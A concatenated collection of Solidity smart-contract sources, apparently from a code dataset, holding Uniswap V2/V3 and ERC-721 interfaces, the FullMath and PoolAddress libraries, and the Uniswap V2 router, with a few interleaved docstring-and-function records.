event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Creates and initializes V3 Pools
/// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that
/// require the pool to exist.
interface IPoolInitializer {
/// @notice Creates a new pool if it does not exist, then initializes if not initialized
/// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool
/// @param token0 The contract address of token0 of the pool
/// @param token1 The contract address of token1 of the pool
/// @param fee The fee amount of the v3 pool for the specified token pair
/// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value
/// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
/// @title ERC721 with permit
/// @notice Extension to ERC721 that includes a permit function for signature based approvals
interface IERC721Permit is IERC721 {
/// @notice The permit typehash used in the permit signature
/// @return The typehash for the permit
function PERMIT_TYPEHASH() external pure returns (bytes32);
/// @notice The domain separator used in the permit signature
/// @return The domain seperator used in encoding of permit signature
function DOMAIN_SEPARATOR() external view returns (bytes32);
/// @notice Approve of a specific token ID for spending by spender via signature
/// @param spender The account that is being approved
/// @param tokenId The ID of the token that is being approved for spending
/// @param deadline The deadline timestamp by which the call must be mined for the approve to work
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Immutable state
/// @notice Functions that return immutable state of the router
interface IPeripheryImmutableState {
/// @return Returns the address of the Uniswap V3 factory
function factory() external view returns (address);
/// @return Returns the address of WETH9
function WETH9() external view returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xc02f72e8ae5e68802e6d893d58ddfb0df89a2f4c9c2f04927db1186a29373660;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
|
Returns the current liquidity in the position
|
function getPositionLiquidity() private view returns (uint128 liquidity) {
(, , , , , , , liquidity, , , , ) = positionManager.positions(tokenId);
}
| 12,013,506
|
./full_match/8453/0x266c8f8cdA4360506b8D32Dc5C4102350a069aCD/sources/project_/contracts/Max-20-UUPS-LZ.sol
|
this is the catch all above (should be an internal?) _srcChainId - the source endpoint identifier _srcAddress - the source sending contract address from the source chain _nonce - the ordered message nonce _payload - the signed payload is the UA bytes has encoded to be sent only internal transaction
|
function onLzReceive(
uint16 _srcChainId
, bytes memory _srcAddress
, uint64 _nonce
, bytes memory _payload
) public {
if (msg.sender != address(this)) {
revert MaxSplaining({
reason: "NBR:3"
});
}
}
| 11,561,631
|
pragma solidity =0.6.12;
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/IUniswapV2Router02.sol';
import './libraries/UniswapV2Library.sol';
import './libraries/SafeMath.sol';
import './interfaces/IERC20.sol';
import './interfaces/IWETH.sol';
contract UniswapV2Router02 is IUniswapV2Router02 {
using SafeMathUniswap for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IUniswapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
(address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return UniswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsIn(factory, amountOut, path);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
